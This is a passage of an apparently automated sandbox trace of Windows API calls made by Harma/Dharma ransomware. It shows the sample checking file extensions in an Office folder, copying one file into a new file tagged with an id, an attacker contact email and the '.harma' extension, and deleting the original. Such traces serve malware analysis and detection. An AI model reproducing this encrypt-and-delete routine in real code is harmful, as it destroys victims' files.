[0156.767] lstrlenW (lpString=".rar") returned 4 [0156.767] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0156.767] lstrlenW (lpString=".bz2") returned 4 [0156.768] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0156.768] lstrlenW (lpString=".7z") returned 3 [0156.768] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0156.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.768] lstrlenW (lpString=".dbf") returned 4 [0156.768] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0156.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.768] lstrlenW (lpString=".1cd") returned 4 [0156.768] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0156.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH.HXS") returned 60 [0156.768] lstrlenW (lpString=".jpg") returned 4 [0156.768] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0156.768] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0156.768] lstrlenW (lpString="MAPISHELLR.DLL") returned 14 [0156.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.769] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=591832) returned 1 [0156.769] CloseHandle (hObject=0x380) returned 1 [0156.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll")) returned 0x20 [0156.769] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0156.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0156.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.769] lstrlenW (lpString=".doc") returned 4 [0156.769] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0156.769] lstrlenW (lpString=".docx") returned 5 [0156.769] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0156.769] lstrlenW (lpString=".pdf") returned 4 [0156.769] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0156.769] lstrlenW (lpString=".xls") returned 4 [0156.769] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0156.769] lstrlenW (lpString=".xlsx") returned 5 [0156.769] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0156.769] lstrlenW (lpString=".ppt") returned 4 [0156.769] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0156.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.769] lstrlenW (lpString=".zip") returned 4 [0156.769] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0156.770] lstrlenW (lpString=".rar") returned 4 [0156.770] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0156.770] lstrlenW (lpString=".bz2") returned 4 [0156.770] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0156.770] lstrlenW (lpString=".7z") returned 3 [0156.770] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0156.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.770] lstrlenW (lpString=".dbf") returned 4 [0156.770] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0156.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.770] lstrlenW (lpString=".1cd") returned 4 [0156.770] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0156.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.770] lstrlenW (lpString=".jpg") returned 4 [0156.770] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0156.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.770] lstrlenW (lpString=".doc") returned 4 [0156.770] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0156.770] lstrlenW (lpString=".docx") returned 5 [0156.770] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0156.770] lstrlenW (lpString=".pdf") returned 4 [0156.770] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0156.770] lstrlenW (lpString=".xls") returned 4 [0156.770] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0156.770] lstrlenW (lpString=".xlsx") returned 5 [0156.770] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0156.770] lstrlenW (lpString=".ppt") returned 4 [0156.770] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0156.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.770] lstrlenW (lpString=".zip") returned 4 [0156.770] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0156.771] lstrlenW (lpString=".rar") returned 4 [0156.771] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0156.771] lstrlenW (lpString=".bz2") returned 4 [0156.771] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0156.771] lstrlenW (lpString=".7z") returned 3 [0156.771] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0156.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.771] lstrlenW (lpString=".dbf") returned 4 [0156.771] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0156.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.771] lstrlenW (lpString=".1cd") returned 4 [0156.771] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0156.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62 [0156.771] lstrlenW (lpString=".jpg") returned 4 [0156.771] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0156.771] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0156.771] lstrlenW (lpString="MERES.DLL") returned 9 [0156.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.082] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1052592) returned 1 [0157.082] CloseHandle (hObject=0x210) returned 1 [0157.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll")) returned 0x20 [0157.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.294] lstrlenW (lpString=".doc") returned 4 [0157.294] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.294] lstrlenW (lpString=".docx") returned 5 [0157.294] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0157.294] lstrlenW (lpString=".pdf") returned 4 [0157.294] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.294] lstrlenW (lpString=".xls") returned 4 [0157.294] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.294] lstrlenW (lpString=".xlsx") returned 5 [0157.294] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0157.294] lstrlenW (lpString=".ppt") returned 4 [0157.295] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.295] lstrlenW (lpString=".zip") returned 4 [0157.295] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.295] lstrlenW (lpString=".rar") returned 4 [0157.295] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.295] lstrlenW (lpString=".bz2") returned 4 [0157.295] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.295] lstrlenW (lpString=".7z") returned 3 [0157.295] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.295] lstrlenW (lpString=".dbf") returned 4 [0157.295] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.295] lstrlenW (lpString=".1cd") returned 4 [0157.295] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.295] lstrlenW (lpString=".jpg") returned 4 [0157.295] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.295] lstrlenW (lpString=".doc") returned 4 [0157.295] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.295] lstrlenW (lpString=".docx") returned 5 [0157.295] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0157.295] lstrlenW (lpString=".pdf") returned 4 [0157.295] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.295] lstrlenW (lpString=".xls") returned 4 [0157.295] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.295] lstrlenW (lpString=".xlsx") returned 5 [0157.295] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0157.295] lstrlenW (lpString=".ppt") returned 4 [0157.296] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.296] lstrlenW (lpString=".zip") returned 4 [0157.296] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.296] lstrlenW (lpString=".rar") returned 4 [0157.296] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.296] lstrlenW (lpString=".bz2") returned 4 [0157.296] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.296] lstrlenW (lpString=".7z") returned 3 [0157.296] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.296] lstrlenW (lpString=".dbf") returned 4 [0157.296] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.296] lstrlenW (lpString=".1cd") returned 4 [0157.296] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57 [0157.296] lstrlenW (lpString=".jpg") returned 4 [0157.296] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.296] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0157.296] lstrlenW (lpString="MOR6INT.REST.IDX_DLL") returned 20 [0157.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.297] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=39808) returned 1 [0157.297] CloseHandle (hObject=0x208) returned 1 [0157.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll")) returned 0x20 [0157.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0157.297] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.297] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.298] GetLastError () returned 0x0 [0157.298] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x9b80, lpOverlapped=0x0) returned 1 [0157.324] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x9b90, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x9b90, lpOverlapped=0x0) returned 1 [0157.326] ReadFile (in: hFile=0x208, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.326] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xfc, lpOverlapped=0x0) returned 1 [0157.326] SetEndOfFile (hFile=0x388) returned 1 [0157.326] CloseHandle (hObject=0x388) returned 1 [0157.326] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.326] SetEndOfFile (hFile=0x208) returned 1 [0157.329] CloseHandle (hObject=0x208) returned 1 [0157.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll")) returned 1 [0157.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.330] lstrlenW (lpString=".doc") returned 4 [0157.330] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0157.330] lstrlenW (lpString=".docx") returned 5 [0157.330] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0157.330] lstrlenW (lpString=".pdf") returned 4 [0157.330] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0157.330] lstrlenW (lpString=".xls") returned 4 [0157.330] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0157.330] lstrlenW (lpString=".xlsx") returned 5 [0157.330] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0157.330] lstrlenW (lpString=".ppt") returned 4 [0157.330] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0157.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.330] lstrlenW (lpString=".zip") returned 4 [0157.330] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0157.330] lstrlenW (lpString=".rar") returned 4 [0157.330] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0157.330] lstrlenW (lpString=".bz2") returned 4 [0157.330] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0157.330] lstrlenW (lpString=".7z") returned 3 [0157.330] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.330] lstrlenW (lpString=".dbf") returned 4 [0157.330] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.331] lstrlenW (lpString=".1cd") returned 4 [0157.331] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.331] lstrlenW (lpString=".jpg") returned 4 [0157.331] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.331] lstrlenW (lpString=".doc") returned 4 [0157.331] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString=".docx") returned 5 [0157.331] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0157.331] lstrlenW (lpString=".pdf") returned 4 [0157.331] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString=".xls") returned 4 [0157.331] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString=".xlsx") returned 5 [0157.331] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0157.331] lstrlenW (lpString=".ppt") returned 4 [0157.331] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.331] lstrlenW (lpString=".zip") returned 4 [0157.331] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString=".rar") returned 4 [0157.331] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString=".bz2") returned 4 [0157.331] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0157.331] lstrlenW (lpString=".7z") returned 3 [0157.331] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.331] lstrlenW (lpString=".dbf") returned 4 [0157.332] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0157.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.332] lstrlenW (lpString=".1cd") returned 4 [0157.332] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0157.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0157.332] lstrlenW (lpString=".jpg") returned 4 [0157.332] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0157.332] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0157.332] lstrlenW (lpString="MPXRES.DLL") returned 10 [0157.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0157.336] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=12664) returned 1 [0157.336] CloseHandle (hObject=0x350) returned 1 [0157.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll")) returned 0x20 [0157.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.337] lstrlenW (lpString=".doc") returned 4 [0157.337] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.337] lstrlenW (lpString=".docx") returned 5 [0157.337] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0157.337] lstrlenW (lpString=".pdf") returned 4 [0157.337] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.337] lstrlenW (lpString=".xls") returned 4 [0157.337] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.337] lstrlenW (lpString=".xlsx") returned 5 [0157.337] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0157.337] lstrlenW (lpString=".ppt") returned 4 [0157.337] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.337] lstrlenW (lpString=".zip") returned 4 [0157.337] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.337] lstrlenW (lpString=".rar") returned 4 [0157.337] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.337] lstrlenW (lpString=".bz2") returned 4 [0157.337] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.337] lstrlenW (lpString=".7z") returned 3 [0157.337] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.337] lstrlenW (lpString=".dbf") returned 4 [0157.337] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.337] lstrlenW (lpString=".1cd") returned 4 [0157.337] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0157.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.338] lstrlenW (lpString=".jpg") returned 4 [0157.338] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0157.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.338] lstrlenW (lpString=".doc") returned 4 [0157.338] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0157.338] lstrlenW (lpString=".docx") returned 5 [0157.338] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0157.338] lstrlenW (lpString=".pdf") returned 4 [0157.338] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0157.338] lstrlenW (lpString=".xls") returned 4 [0157.338] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0157.338] lstrlenW (lpString=".xlsx") returned 5 [0157.338] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0157.338] lstrlenW (lpString=".ppt") returned 4 [0157.338] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0157.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.338] lstrlenW (lpString=".zip") returned 4 [0157.338] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0157.338] lstrlenW (lpString=".rar") returned 4 [0157.338] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0157.338] lstrlenW (lpString=".bz2") returned 4 [0157.338] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0157.338] lstrlenW (lpString=".7z") returned 3 [0157.338] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0157.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0157.338] lstrlenW (lpString=".dbf") returned 4 [0157.338] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0157.338] lstrlenW (lpString="C:\\Program 